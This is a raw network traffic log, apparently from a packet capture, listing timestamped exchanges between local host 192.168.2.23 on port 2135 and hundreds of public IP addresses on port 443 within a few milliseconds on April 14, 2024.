Apr 14, 2024 03:59:53.101491928 CEST	2135	443	192.168.2.23	109.242.171.206
Apr 14, 2024 03:59:53.101490974 CEST	2135	443	192.168.2.23	42.23.48.32
Apr 14, 2024 03:59:53.101494074 CEST	2135	443	192.168.2.23	212.243.79.196
Apr 14, 2024 03:59:53.101495981 CEST	2135	443	192.168.2.23	148.5.2.95
Apr 14, 2024 03:59:53.101500034 CEST	2135	443	192.168.2.23	37.221.179.239
Apr 14, 2024 03:59:53.101502895 CEST	443	2135	212.243.79.196	192.168.2.23
Apr 14, 2024 03:59:53.101505041 CEST	443	2135	42.23.48.32	192.168.2.23
Apr 14, 2024 03:59:53.101506948 CEST	443	2135	37.221.179.239	192.168.2.23
Apr 14, 2024 03:59:53.101507902 CEST	443	2135	178.145.247.109	192.168.2.23
Apr 14, 2024 03:59:53.101517916 CEST	2135	443	192.168.2.23	202.13.35.47
Apr 14, 2024 03:59:53.101519108 CEST	443	2135	109.242.171.206	192.168.2.23
Apr 14, 2024 03:59:53.101524115 CEST	443	2135	148.5.2.95	192.168.2.23
Apr 14, 2024 03:59:53.101525068 CEST	2135	443	192.168.2.23	117.216.104.176
Apr 14, 2024 03:59:53.101526976 CEST	443	2135	202.13.35.47	192.168.2.23
Apr 14, 2024 03:59:53.101528883 CEST	2135	443	192.168.2.23	148.189.200.163
Apr 14, 2024 03:59:53.101531029 CEST	2135	443	192.168.2.23	42.200.245.2
Apr 14, 2024 03:59:53.101531982 CEST	443	2135	117.216.104.176	192.168.2.23
Apr 14, 2024 03:59:53.101545095 CEST	2135	443	192.168.2.23	212.243.79.196
Apr 14, 2024 03:59:53.101545095 CEST	2135	443	192.168.2.23	42.23.48.32
Apr 14, 2024 03:59:53.101546049 CEST	2135	443	192.168.2.23	37.221.179.239
Apr 14, 2024 03:59:53.101547003 CEST	2135	443	192.168.2.23	178.145.247.109
Apr 14, 2024 03:59:53.101547003 CEST	2135	443	192.168.2.23	109.242.171.206
Apr 14, 2024 03:59:53.101552010 CEST	2135	443	192.168.2.23	178.232.198.104
Apr 14, 2024 03:59:53.101563931 CEST	2135	443	192.168.2.23	117.216.104.176
Apr 14, 2024 03:59:53.101564884 CEST	2135	443	192.168.2.23	148.5.2.95
Apr 14, 2024 03:59:53.101572037 CEST	2135	443	192.168.2.23	202.13.35.47
Apr 14, 2024 03:59:53.101581097 CEST	443	2135	178.232.198.104	192.168.2.23
Apr 14, 2024 03:59:53.101581097 CEST	2135	443	192.168.2.23	202.172.237.122
Apr 14, 2024 03:59:53.101589918 CEST	443	2135	202.172.237.122	192.168.2.23
Apr 14, 2024 03:59:53.101596117 CEST	2135	443	192.168.2.23	117.103.243.133
Apr 14, 2024 03:59:53.101596117 CEST	2135	443	192.168.2.23	117.235.193.146
Apr 14, 2024 03:59:53.101604939 CEST	443	2135	117.103.243.133	192.168.2.23
Apr 14, 2024 03:59:53.101607084 CEST	2135	443	192.168.2.23	2.117.239.183
Apr 14, 2024 03:59:53.101612091 CEST	443	2135	117.235.193.146	192.168.2.23
Apr 14, 2024 03:59:53.101614952 CEST	443	2135	2.117.239.183	192.168.2.23
Apr 14, 2024 03:59:53.101622105 CEST	2135	443	192.168.2.23	202.188.106.220
Apr 14, 2024 03:59:53.101623058 CEST	2135	443	192.168.2.23	37.205.151.195
Apr 14, 2024 03:59:53.101624012 CEST	2135	443	192.168.2.23	5.26.168.102
Apr 14, 2024 03:59:53.101633072 CEST	443	2135	202.188.106.220	192.168.2.23
Apr 14, 2024 03:59:53.101633072 CEST	443	2135	5.26.168.102	192.168.2.23
Apr 14, 2024 03:59:53.101634979 CEST	443	2135	37.205.151.195	192.168.2.23
Apr 14, 2024 03:59:53.101634979 CEST	2135	443	192.168.2.23	109.91.187.79
Apr 14, 2024 03:59:53.101634979 CEST	2135	443	192.168.2.23	178.232.198.104
Apr 14, 2024 03:59:53.101640940 CEST	2135	443	192.168.2.23	117.103.243.133
Apr 14, 2024 03:59:53.101643085 CEST	2135	443	192.168.2.23	37.9.120.82
Apr 14, 2024 03:59:53.101648092 CEST	443	2135	109.91.187.79	192.168.2.23
Apr 14, 2024 03:59:53.101649046 CEST	2135	443	192.168.2.23	42.203.80.141
Apr 14, 2024 03:59:53.101650000 CEST	2135	443	192.168.2.23	94.240.137.213
Apr 14, 2024 03:59:53.101650000 CEST	2135	443	192.168.2.23	202.172.237.122
Apr 14, 2024 03:59:53.101651907 CEST	443	2135	37.9.120.82	192.168.2.23
Apr 14, 2024 03:59:53.101655960 CEST	2135	443	192.168.2.23	2.117.239.183
Apr 14, 2024 03:59:53.101656914 CEST	2135	443	192.168.2.23	117.235.193.146
Apr 14, 2024 03:59:53.101656914 CEST	2135	443	192.168.2.23	5.31.90.243
Apr 14, 2024 03:59:53.101659060 CEST	443	2135	94.240.137.213	192.168.2.23
Apr 14, 2024 03:59:53.101663113 CEST	443	2135	42.203.80.141	192.168.2.23
Apr 14, 2024 03:59:53.101664066 CEST	443	2135	5.31.90.243	192.168.2.23
Apr 14, 2024 03:59:53.101675987 CEST	2135	443	192.168.2.23	5.26.168.102
Apr 14, 2024 03:59:53.101686954 CEST	2135	443	192.168.2.23	37.9.120.82
Apr 14, 2024 03:59:53.101687908 CEST	2135	443	192.168.2.23	37.205.151.195
Apr 14, 2024 03:59:53.101686954 CEST	2135	443	192.168.2.23	202.188.106.220
Apr 14, 2024 03:59:53.101687908 CEST	2135	443	192.168.2.23	94.240.137.213
Apr 14, 2024 03:59:53.101699114 CEST	2135	443	192.168.2.23	42.203.80.141
Apr 14, 2024 03:59:53.101708889 CEST	2135	443	192.168.2.23	5.31.90.243
Apr 14, 2024 03:59:53.101711035 CEST	2135	443	192.168.2.23	37.60.203.219
Apr 14, 2024 03:59:53.101715088 CEST	2135	443	192.168.2.23	117.32.251.237
Apr 14, 2024 03:59:53.101718903 CEST	443	2135	37.60.203.219	192.168.2.23
Apr 14, 2024 03:59:53.101722956 CEST	443	2135	117.32.251.237	192.168.2.23
Apr 14, 2024 03:59:53.101730108 CEST	2135	443	192.168.2.23	178.18.91.111
Apr 14, 2024 03:59:53.101730108 CEST	2135	443	192.168.2.23	178.150.82.69
Apr 14, 2024 03:59:53.101743937 CEST	443	2135	178.18.91.111	192.168.2.23
Apr 14, 2024 03:59:53.101746082 CEST	2135	443	192.168.2.23	5.118.101.135
Apr 14, 2024 03:59:53.101754904 CEST	443	2135	5.118.101.135	192.168.2.23
Apr 14, 2024 03:59:53.101757050 CEST	443	2135	178.150.82.69	192.168.2.23
Apr 14, 2024 03:59:53.101762056 CEST	2135	443	192.168.2.23	210.97.8.227
Apr 14, 2024 03:59:53.101763964 CEST	2135	443	192.168.2.23	37.60.203.219
Apr 14, 2024 03:59:53.101768017 CEST	2135	443	192.168.2.23	117.32.251.237
Apr 14, 2024 03:59:53.101768970 CEST	443	2135	210.97.8.227	192.168.2.23
Apr 14, 2024 03:59:53.101783991 CEST	2135	443	192.168.2.23	148.135.221.152
Apr 14, 2024 03:59:53.101790905 CEST	2135	443	192.168.2.23	178.18.91.111
Apr 14, 2024 03:59:53.101790905 CEST	2135	443	192.168.2.23	178.150.82.69
Apr 14, 2024 03:59:53.101793051 CEST	443	2135	148.135.221.152	192.168.2.23
Apr 14, 2024 03:59:53.101803064 CEST	2135	443	192.168.2.23	123.166.158.1
Apr 14, 2024 03:59:53.101805925 CEST	2135	443	192.168.2.23	5.118.101.135
Apr 14, 2024 03:59:53.101807117 CEST	2135	443	192.168.2.23	37.32.5.183
Apr 14, 2024 03:59:53.101813078 CEST	2135	443	192.168.2.23	202.60.103.252
Apr 14, 2024 03:59:53.101813078 CEST	2135	443	192.168.2.23	210.97.8.227
Apr 14, 2024 03:59:53.101814032 CEST	443	2135	123.166.158.1	192.168.2.23
Apr 14, 2024 03:59:53.101824045 CEST	443	2135	202.60.103.252	192.168.2.23
Apr 14, 2024 03:59:53.101828098 CEST	2135	443	192.168.2.23	42.52.212.49
Apr 14, 2024 03:59:53.101828098 CEST	2135	443	192.168.2.23	148.135.221.152
Apr 14, 2024 03:59:53.101831913 CEST	2135	443	192.168.2.23	212.3.67.80
Apr 14, 2024 03:59:53.101831913 CEST	2135	443	192.168.2.23	118.33.227.182
Apr 14, 2024 03:59:53.101835012 CEST	2135	443	192.168.2.23	118.69.189.86
Apr 14, 2024 03:59:53.101838112 CEST	443	2135	42.52.212.49	192.168.2.23
Apr 14, 2024 03:59:53.101841927 CEST	443	2135	212.3.67.80	192.168.2.23
Apr 14, 2024 03:59:53.101843119 CEST	443	2135	118.69.189.86	192.168.2.23
Apr 14, 2024 03:59:53.101844072 CEST	443	2135	37.32.5.183	192.168.2.23
Apr 14, 2024 03:59:53.101850986 CEST	443	2135	118.33.227.182	192.168.2.23
Apr 14, 2024 03:59:53.101856947 CEST	2135	443	192.168.2.23	37.154.242.61
Apr 14, 2024 03:59:53.101861954 CEST	443	2135	37.154.242.61	192.168.2.23
Apr 14, 2024 03:59:53.101861954 CEST	2135	443	192.168.2.23	117.42.213.49
Apr 14, 2024 03:59:53.101861954 CEST	2135	443	192.168.2.23	123.114.170.149
Apr 14, 2024 03:59:53.101862907 CEST	2135	443	192.168.2.23	109.91.187.79
Apr 14, 2024 03:59:53.101871014 CEST	443	2135	117.42.213.49	192.168.2.23
Apr 14, 2024 03:59:53.101876020 CEST	443	2135	123.114.170.149	192.168.2.23
Apr 14, 2024 03:59:53.101876974 CEST	2135	443	192.168.2.23	123.166.158.1
Apr 14, 2024 03:59:53.101876974 CEST	2135	443	192.168.2.23	118.33.227.182
Apr 14, 2024 03:59:53.101881027 CEST	2135	443	192.168.2.23	118.69.189.86
Apr 14, 2024 03:59:53.101888895 CEST	2135	443	192.168.2.23	5.156.73.118
Apr 14, 2024 03:59:53.101888895 CEST	2135	443	192.168.2.23	212.3.67.80
Apr 14, 2024 03:59:53.101888895 CEST	2135	443	192.168.2.23	202.60.103.252
Apr 14, 2024 03:59:53.101892948 CEST	2135	443	192.168.2.23	202.82.221.183
Apr 14, 2024 03:59:53.101896048 CEST	443	2135	5.156.73.118	192.168.2.23
Apr 14, 2024 03:59:53.101903915 CEST	443	2135	202.82.221.183	192.168.2.23
Apr 14, 2024 03:59:53.101907015 CEST	2135	443	192.168.2.23	37.32.5.183
Apr 14, 2024 03:59:53.101907015 CEST	2135	443	192.168.2.23	117.42.213.49
Apr 14, 2024 03:59:53.101911068 CEST	2135	443	192.168.2.23	37.154.242.61
Apr 14, 2024 03:59:53.101912022 CEST	2135	443	192.168.2.23	123.114.170.149
Apr 14, 2024 03:59:53.101914883 CEST	2135	443	192.168.2.23	118.97.226.192
Apr 14, 2024 03:59:53.101918936 CEST	2135	443	192.168.2.23	42.52.212.49
Apr 14, 2024 03:59:53.101922035 CEST	443	2135	118.97.226.192	192.168.2.23
Apr 14, 2024 03:59:53.101931095 CEST	2135	443	192.168.2.23	5.156.73.118
Apr 14, 2024 03:59:53.101932049 CEST	2135	443	192.168.2.23	5.108.8.222
Apr 14, 2024 03:59:53.101936102 CEST	2135	443	192.168.2.23	123.13.110.109
Apr 14, 2024 03:59:53.101937056 CEST	443	2135	5.108.8.222	192.168.2.23
Apr 14, 2024 03:59:53.101938009 CEST	2135	443	192.168.2.23	178.238.90.181
Apr 14, 2024 03:59:53.101942062 CEST	443	2135	123.13.110.109	192.168.2.23
Apr 14, 2024 03:59:53.101943016 CEST	443	2135	178.238.90.181	192.168.2.23
Apr 14, 2024 03:59:53.101944923 CEST	2135	443	192.168.2.23	94.238.25.178
Apr 14, 2024 03:59:53.101953030 CEST	443	2135	94.238.25.178	192.168.2.23
Apr 14, 2024 03:59:53.101958036 CEST	2135	443	192.168.2.23	118.97.226.192
Apr 14, 2024 03:59:53.101959944 CEST	2135	443	192.168.2.23	202.82.221.183
Apr 14, 2024 03:59:53.101965904 CEST	2135	443	192.168.2.23	202.23.148.130
Apr 14, 2024 03:59:53.101965904 CEST	2135	443	192.168.2.23	123.13.110.109
Apr 14, 2024 03:59:53.101965904 CEST	2135	443	192.168.2.23	5.108.8.222
Apr 14, 2024 03:59:53.101969957 CEST	2135	443	192.168.2.23	94.104.209.104
Apr 14, 2024 03:59:53.101969957 CEST	2135	443	192.168.2.23	109.223.20.105
Apr 14, 2024 03:59:53.101973057 CEST	443	2135	202.23.148.130	192.168.2.23
Apr 14, 2024 03:59:53.101980925 CEST	443	2135	94.104.209.104	192.168.2.23
Apr 14, 2024 03:59:53.101985931 CEST	2135	443	192.168.2.23	178.238.90.181
Apr 14, 2024 03:59:53.101986885 CEST	2135	443	192.168.2.23	94.238.25.178
Apr 14, 2024 03:59:53.101994038 CEST	443	2135	109.223.20.105	192.168.2.23
Apr 14, 2024 03:59:53.101999044 CEST	2135	443	192.168.2.23	109.74.189.63
Apr 14, 2024 03:59:53.102004051 CEST	2135	443	192.168.2.23	42.69.34.16
Apr 14, 2024 03:59:53.102005005 CEST	443	2135	109.74.189.63	192.168.2.23
Apr 14, 2024 03:59:53.102006912 CEST	2135	443	192.168.2.23	212.153.122.116
Apr 14, 2024 03:59:53.102011919 CEST	443	2135	42.69.34.16	192.168.2.23
Apr 14, 2024 03:59:53.102015018 CEST	443	2135	212.153.122.116	192.168.2.23
Apr 14, 2024 03:59:53.102018118 CEST	2135	443	192.168.2.23	202.23.148.130
Apr 14, 2024 03:59:53.102031946 CEST	2135	443	192.168.2.23	210.174.7.226
Apr 14, 2024 03:59:53.102032900 CEST	2135	443	192.168.2.23	118.250.101.215
Apr 14, 2024 03:59:53.102032900 CEST	2135	443	192.168.2.23	118.24.160.177
Apr 14, 2024 03:59:53.102040052 CEST	2135	443	192.168.2.23	109.74.189.63
Apr 14, 2024 03:59:53.102040052 CEST	443	2135	210.174.7.226	192.168.2.23
Apr 14, 2024 03:59:53.102044106 CEST	443	2135	118.250.101.215	192.168.2.23
Apr 14, 2024 03:59:53.102049112 CEST	2135	443	192.168.2.23	42.69.34.16
Apr 14, 2024 03:59:53.102051020 CEST	2135	443	192.168.2.23	212.153.122.116
Apr 14, 2024 03:59:53.102055073 CEST	2135	443	192.168.2.23	94.104.209.104
Apr 14, 2024 03:59:53.102056026 CEST	443	2135	118.24.160.177	192.168.2.23
Apr 14, 2024 03:59:53.102062941 CEST	2135	443	192.168.2.23	42.91.11.158
Apr 14, 2024 03:59:53.102063894 CEST	2135	443	192.168.2.23	178.115.162.37
Apr 14, 2024 03:59:53.102065086 CEST	2135	443	192.168.2.23	109.223.20.105
Apr 14, 2024 03:59:53.102075100 CEST	443	2135	42.91.11.158	192.168.2.23
Apr 14, 2024 03:59:53.102076054 CEST	2135	443	192.168.2.23	210.174.7.226
Apr 14, 2024 03:59:53.102087021 CEST	443	2135	178.115.162.37	192.168.2.23
Apr 14, 2024 03:59:53.102096081 CEST	2135	443	192.168.2.23	202.12.16.156
Apr 14, 2024 03:59:53.102096081 CEST	2135	443	192.168.2.23	212.13.35.118
Apr 14, 2024 03:59:53.102102041 CEST	2135	443	192.168.2.23	118.250.101.215
Apr 14, 2024 03:59:53.102102041 CEST	2135	443	192.168.2.23	118.24.160.177
Apr 14, 2024 03:59:53.102102995 CEST	443	2135	212.13.35.118	192.168.2.23
Apr 14, 2024 03:59:53.102103949 CEST	443	2135	202.12.16.156	192.168.2.23
Apr 14, 2024 03:59:53.102113008 CEST	2135	443	192.168.2.23	2.190.207.169
Apr 14, 2024 03:59:53.102116108 CEST	2135	443	192.168.2.23	42.91.11.158
Apr 14, 2024 03:59:53.102116108 CEST	2135	443	192.168.2.23	5.5.148.149
Apr 14, 2024 03:59:53.102113008 CEST	2135	443	192.168.2.23	117.222.138.172
Apr 14, 2024 03:59:53.102117062 CEST	2135	443	192.168.2.23	210.205.145.159
Apr 14, 2024 03:59:53.102113008 CEST	2135	443	192.168.2.23	117.11.251.166
Apr 14, 2024 03:59:53.102113008 CEST	2135	443	192.168.2.23	148.170.85.190
Apr 14, 2024 03:59:53.102113008 CEST	2135	443	192.168.2.23	37.97.82.5
Apr 14, 2024 03:59:53.102113008 CEST	2135	443	192.168.2.23	202.228.178.243
Apr 14, 2024 03:59:53.102113008 CEST	2135	443	192.168.2.23	42.52.141.204
Apr 14, 2024 03:59:53.102113008 CEST	2135	443	192.168.2.23	109.215.82.131
Apr 14, 2024 03:59:53.102123976 CEST	443	2135	5.5.148.149	192.168.2.23
Apr 14, 2024 03:59:53.102124929 CEST	443	2135	210.205.145.159	192.168.2.23
Apr 14, 2024 03:59:53.102132082 CEST	2135	443	192.168.2.23	178.115.162.37
Apr 14, 2024 03:59:53.102133989 CEST	2135	443	192.168.2.23	212.13.35.118
Apr 14, 2024 03:59:53.102155924 CEST	2135	443	192.168.2.23	2.33.107.245
Apr 14, 2024 03:59:53.102159023 CEST	2135	443	192.168.2.23	210.205.145.159
Apr 14, 2024 03:59:53.102161884 CEST	443	2135	2.33.107.245	192.168.2.23
Apr 14, 2024 03:59:53.102168083 CEST	443	2135	2.190.207.169	192.168.2.23
Apr 14, 2024 03:59:53.102170944 CEST	2135	443	192.168.2.23	109.88.11.166
Apr 14, 2024 03:59:53.102174997 CEST	2135	443	192.168.2.23	202.12.16.156
Apr 14, 2024 03:59:53.102174997 CEST	2135	443	192.168.2.23	148.204.155.174
Apr 14, 2024 03:59:53.102175951 CEST	2135	443	192.168.2.23	202.172.114.216
Apr 14, 2024 03:59:53.102180004 CEST	443	2135	109.88.11.166	192.168.2.23
Apr 14, 2024 03:59:53.102180004 CEST	2135	443	192.168.2.23	212.162.152.27
Apr 14, 2024 03:59:53.102180958 CEST	2135	443	192.168.2.23	210.188.167.77
Apr 14, 2024 03:59:53.102183104 CEST	443	2135	148.204.155.174	192.168.2.23
Apr 14, 2024 03:59:53.102184057 CEST	443	2135	117.222.138.172	192.168.2.23
Apr 14, 2024 03:59:53.102186918 CEST	443	2135	202.172.114.216	192.168.2.23
Apr 14, 2024 03:59:53.102190018 CEST	443	2135	212.162.152.27	192.168.2.23
Apr 14, 2024 03:59:53.102200031 CEST	2135	443	192.168.2.23	5.5.148.149
Apr 14, 2024 03:59:53.102200031 CEST	2135	443	192.168.2.23	2.33.107.245
Apr 14, 2024 03:59:53.102200031 CEST	443	2135	210.188.167.77	192.168.2.23
Apr 14, 2024 03:59:53.102201939 CEST	2135	443	192.168.2.23	42.59.2.166
Apr 14, 2024 03:59:53.102207899 CEST	443	2135	117.11.251.166	192.168.2.23
Apr 14, 2024 03:59:53.102209091 CEST	443	2135	42.59.2.166	192.168.2.23
Apr 14, 2024 03:59:53.102210999 CEST	2135	443	192.168.2.23	109.88.11.166
Apr 14, 2024 03:59:53.102215052 CEST	2135	443	192.168.2.23	148.204.155.174
Apr 14, 2024 03:59:53.102219105 CEST	443	2135	148.170.85.190	192.168.2.23
Apr 14, 2024 03:59:53.102224112 CEST	443	2135	37.97.82.5	192.168.2.23
Apr 14, 2024 03:59:53.102226973 CEST	2135	443	192.168.2.23	210.188.167.77
Apr 14, 2024 03:59:53.102226973 CEST	2135	443	192.168.2.23	212.162.152.27
Apr 14, 2024 03:59:53.102226973 CEST	2135	443	192.168.2.23	202.172.114.216
Apr 14, 2024 03:59:53.102229118 CEST	443	2135	202.228.178.243	192.168.2.23
Apr 14, 2024 03:59:53.102236986 CEST	443	2135	42.52.141.204	192.168.2.23
Apr 14, 2024 03:59:53.102246046 CEST	443	2135	109.215.82.131	192.168.2.23
Apr 14, 2024 03:59:53.102256060 CEST	2135	443	192.168.2.23	117.86.187.74
Apr 14, 2024 03:59:53.102256060 CEST	2135	443	192.168.2.23	42.242.178.253
Apr 14, 2024 03:59:53.102256060 CEST	2135	443	192.168.2.23	5.98.31.131
Apr 14, 2024 03:59:53.102256060 CEST	2135	443	192.168.2.23	42.59.2.166
Apr 14, 2024 03:59:53.102256060 CEST	2135	443	192.168.2.23	148.58.96.191
Apr 14, 2024 03:59:53.102256060 CEST	2135	443	192.168.2.23	123.107.138.212
Apr 14, 2024 03:59:53.102256060 CEST	2135	443	192.168.2.23	2.190.207.169
Apr 14, 2024 03:59:53.102256060 CEST	2135	443	192.168.2.23	117.222.138.172
Apr 14, 2024 03:59:53.102256060 CEST	2135	443	192.168.2.23	117.11.251.166
Apr 14, 2024 03:59:53.102258921 CEST	2135	443	192.168.2.23	118.9.181.183
Apr 14, 2024 03:59:53.102266073 CEST	443	2135	118.9.181.183	192.168.2.23
Apr 14, 2024 03:59:53.102272034 CEST	443	2135	117.86.187.74	192.168.2.23
Apr 14, 2024 03:59:53.102276087 CEST	443	2135	42.242.178.253	192.168.2.23
Apr 14, 2024 03:59:53.102283955 CEST	443	2135	5.98.31.131	192.168.2.23
Apr 14, 2024 03:59:53.102288008 CEST	2135	443	192.168.2.23	94.28.198.111
Apr 14, 2024 03:59:53.102293015 CEST	443	2135	148.58.96.191	192.168.2.23
Apr 14, 2024 03:59:53.102297068 CEST	443	2135	94.28.198.111	192.168.2.23
Apr 14, 2024 03:59:53.102298021 CEST	2135	443	192.168.2.23	178.128.103.209
Apr 14, 2024 03:59:53.102298021 CEST	2135	443	192.168.2.23	118.9.181.183
Apr 14, 2024 03:59:53.102302074 CEST	443	2135	123.107.138.212	192.168.2.23
Apr 14, 2024 03:59:53.102305889 CEST	443	2135	178.128.103.209	192.168.2.23
Apr 14, 2024 03:59:53.102312088 CEST	2135	443	192.168.2.23	37.97.82.5
Apr 14, 2024 03:59:53.102312088 CEST	2135	443	192.168.2.23	202.228.178.243
Apr 14, 2024 03:59:53.102312088 CEST	2135	443	192.168.2.23	42.52.141.204
Apr 14, 2024 03:59:53.102312088 CEST	2135	443	192.168.2.23	148.170.85.190
Apr 14, 2024 03:59:53.102312088 CEST	2135	443	192.168.2.23	109.215.82.131
Apr 14, 2024 03:59:53.102312088 CEST	2135	443	192.168.2.23	94.176.195.31
Apr 14, 2024 03:59:53.102312088 CEST	2135	443	192.168.2.23	42.242.178.253
Apr 14, 2024 03:59:53.102312088 CEST	2135	443	192.168.2.23	117.86.187.74
Apr 14, 2024 03:59:53.102327108 CEST	2135	443	192.168.2.23	94.28.198.111
Apr 14, 2024 03:59:53.102328062 CEST	443	2135	94.176.195.31	192.168.2.23
Apr 14, 2024 03:59:53.102335930 CEST	2135	443	192.168.2.23	5.98.31.131
Apr 14, 2024 03:59:53.102335930 CEST	2135	443	192.168.2.23	148.58.96.191
Apr 14, 2024 03:59:53.102335930 CEST	2135	443	192.168.2.23	123.107.138.212
Apr 14, 2024 03:59:53.102339983 CEST	2135	443	192.168.2.23	178.128.103.209
Apr 14, 2024 03:59:53.102363110 CEST	2135	443	192.168.2.23	148.64.237.198
Apr 14, 2024 03:59:53.102365017 CEST	2135	443	192.168.2.23	94.133.156.110
Apr 14, 2024 03:59:53.102370024 CEST	2135	443	192.168.2.23	37.126.201.87
Apr 14, 2024 03:59:53.102370024 CEST	2135	443	192.168.2.23	178.169.134.238
Apr 14, 2024 03:59:53.102370977 CEST	443	2135	148.64.237.198	192.168.2.23
Apr 14, 2024 03:59:53.102374077 CEST	443	2135	94.133.156.110	192.168.2.23
Apr 14, 2024 03:59:53.102377892 CEST	443	2135	37.126.201.87	192.168.2.23
Apr 14, 2024 03:59:53.102385998 CEST	443	2135	178.169.134.238	192.168.2.23
Apr 14, 2024 03:59:53.102401018 CEST	2135	443	192.168.2.23	148.159.52.38
Apr 14, 2024 03:59:53.102401018 CEST	2135	443	192.168.2.23	94.213.57.12
Apr 14, 2024 03:59:53.102401972 CEST	2135	443	192.168.2.23	2.131.91.80
Apr 14, 2024 03:59:53.102401972 CEST	2135	443	192.168.2.23	94.179.45.206
Apr 14, 2024 03:59:53.102405071 CEST	2135	443	192.168.2.23	5.119.109.255
Apr 14, 2024 03:59:53.102406979 CEST	443	2135	148.159.52.38	192.168.2.23
Apr 14, 2024 03:59:53.102411032 CEST	443	2135	5.119.109.255	192.168.2.23
Apr 14, 2024 03:59:53.102411985 CEST	443	2135	2.131.91.80	192.168.2.23
Apr 14, 2024 03:59:53.102413893 CEST	443	2135	94.213.57.12	192.168.2.23
Apr 14, 2024 03:59:53.102417946 CEST	443	2135	94.179.45.206	192.168.2.23
Apr 14, 2024 03:59:53.102427006 CEST	2135	443	192.168.2.23	178.169.134.238
Apr 14, 2024 03:59:53.102427006 CEST	2135	443	192.168.2.23	37.126.201.87
Apr 14, 2024 03:59:53.102427006 CEST	2135	443	192.168.2.23	148.64.237.198
Apr 14, 2024 03:59:53.102428913 CEST	2135	443	192.168.2.23	94.133.156.110
Apr 14, 2024 03:59:53.102430105 CEST	2135	443	192.168.2.23	212.14.204.136
Apr 14, 2024 03:59:53.102436066 CEST	443	2135	212.14.204.136	192.168.2.23
Apr 14, 2024 03:59:53.102442026 CEST	2135	443	192.168.2.23	5.119.109.255
Apr 14, 2024 03:59:53.102447033 CEST	2135	443	192.168.2.23	2.131.91.80
Apr 14, 2024 03:59:53.102447987 CEST	2135	443	192.168.2.23	148.159.52.38
Apr 14, 2024 03:59:53.102459908 CEST	2135	443	192.168.2.23	94.179.45.206
Apr 14, 2024 03:59:53.102462053 CEST	2135	443	192.168.2.23	212.14.204.136
Apr 14, 2024 03:59:53.102467060 CEST	2135	443	192.168.2.23	94.213.57.12
Apr 14, 2024 03:59:53.102495909 CEST	2135	443	192.168.2.23	118.232.45.195
Apr 14, 2024 03:59:53.102495909 CEST	2135	443	192.168.2.23	148.235.113.154
Apr 14, 2024 03:59:53.102507114 CEST	443	2135	118.232.45.195	192.168.2.23
Apr 14, 2024 03:59:53.102508068 CEST	2135	443	192.168.2.23	148.182.154.17
Apr 14, 2024 03:59:53.102514982 CEST	443	2135	148.182.154.17	192.168.2.23
Apr 14, 2024 03:59:53.102519989 CEST	443	2135	148.235.113.154	192.168.2.23
Apr 14, 2024 03:59:53.102524996 CEST	2135	443	192.168.2.23	178.254.241.208
Apr 14, 2024 03:59:53.102524996 CEST	2135	443	192.168.2.23	109.38.2.125
Apr 14, 2024 03:59:53.102530003 CEST	2135	443	192.168.2.23	117.43.174.141
Apr 14, 2024 03:59:53.102530003 CEST	2135	443	192.168.2.23	178.40.65.10
Apr 14, 2024 03:59:53.102530956 CEST	443	2135	109.38.2.125	192.168.2.23
Apr 14, 2024 03:59:53.102536917 CEST	443	2135	178.254.241.208	192.168.2.23
Apr 14, 2024 03:59:53.102539062 CEST	2135	443	192.168.2.23	148.18.176.166
Apr 14, 2024 03:59:53.102540016 CEST	443	2135	178.40.65.10	192.168.2.23
Apr 14, 2024 03:59:53.102540016 CEST	2135	443	192.168.2.23	79.128.43.0
Apr 14, 2024 03:59:53.102541924 CEST	443	2135	117.43.174.141	192.168.2.23
Apr 14, 2024 03:59:53.102549076 CEST	443	2135	148.18.176.166	192.168.2.23
Apr 14, 2024 03:59:53.102549076 CEST	2135	443	192.168.2.23	148.182.154.17
Apr 14, 2024 03:59:53.102550030 CEST	443	2135	79.128.43.0	192.168.2.23
Apr 14, 2024 03:59:53.102550983 CEST	2135	443	192.168.2.23	79.149.121.7
Apr 14, 2024 03:59:53.102555990 CEST	2135	443	192.168.2.23	118.232.45.195
Apr 14, 2024 03:59:53.102557898 CEST	443	2135	79.149.121.7	192.168.2.23
Apr 14, 2024 03:59:53.102572918 CEST	2135	443	192.168.2.23	178.254.241.208
Apr 14, 2024 03:59:53.102574110 CEST	2135	443	192.168.2.23	109.38.2.125
Apr 14, 2024 03:59:53.102586985 CEST	2135	443	192.168.2.23	148.18.176.166
Apr 14, 2024 03:59:53.102586985 CEST	2135	443	192.168.2.23	117.43.174.141
Apr 14, 2024 03:59:53.102586985 CEST	2135	443	192.168.2.23	79.149.121.7
Apr 14, 2024 03:59:53.102591991 CEST	2135	443	192.168.2.23	79.128.43.0
Apr 14, 2024 03:59:53.102595091 CEST	2135	443	192.168.2.23	178.40.65.10
Apr 14, 2024 03:59:53.102605104 CEST	2135	443	192.168.2.23	42.109.166.243
Apr 14, 2024 03:59:53.102605104 CEST	2135	443	192.168.2.23	79.176.18.214
Apr 14, 2024 03:59:53.102611065 CEST	443	2135	79.176.18.214	192.168.2.23
Apr 14, 2024 03:59:53.102612019 CEST	443	2135	42.109.166.243	192.168.2.23
Apr 14, 2024 03:59:53.102619886 CEST	2135	443	192.168.2.23	5.53.217.191
Apr 14, 2024 03:59:53.102623940 CEST	2135	443	192.168.2.23	148.235.113.154
Apr 14, 2024 03:59:53.102627993 CEST	443	2135	5.53.217.191	192.168.2.23
Apr 14, 2024 03:59:53.102628946 CEST	2135	443	192.168.2.23	37.225.190.149
Apr 14, 2024 03:59:53.102631092 CEST	2135	443	192.168.2.23	212.107.204.79
Apr 14, 2024 03:59:53.102636099 CEST	443	2135	212.107.204.79	192.168.2.23
Apr 14, 2024 03:59:53.102638006 CEST	443	2135	37.225.190.149	192.168.2.23
Apr 14, 2024 03:59:53.102641106 CEST	2135	443	192.168.2.23	42.109.166.243
Apr 14, 2024 03:59:53.102644920 CEST	2135	443	192.168.2.23	79.176.18.214
Apr 14, 2024 03:59:53.102654934 CEST	2135	443	192.168.2.23	212.96.185.218
Apr 14, 2024 03:59:53.102659941 CEST	2135	443	192.168.2.23	148.128.249.111
Apr 14, 2024 03:59:53.102662086 CEST	443	2135	212.96.185.218	192.168.2.23
Apr 14, 2024 03:59:53.102667093 CEST	443	2135	148.128.249.111	192.168.2.23
Apr 14, 2024 03:59:53.102673054 CEST	2135	443	192.168.2.23	212.107.204.79
Apr 14, 2024 03:59:53.102674961 CEST	2135	443	192.168.2.23	5.53.217.191
Apr 14, 2024 03:59:53.102684975 CEST	2135	443	192.168.2.23	37.225.190.149
Apr 14, 2024 03:59:53.102686882 CEST	2135	443	192.168.2.23	42.19.231.135
Apr 14, 2024 03:59:53.102694988 CEST	443	2135	42.19.231.135	192.168.2.23
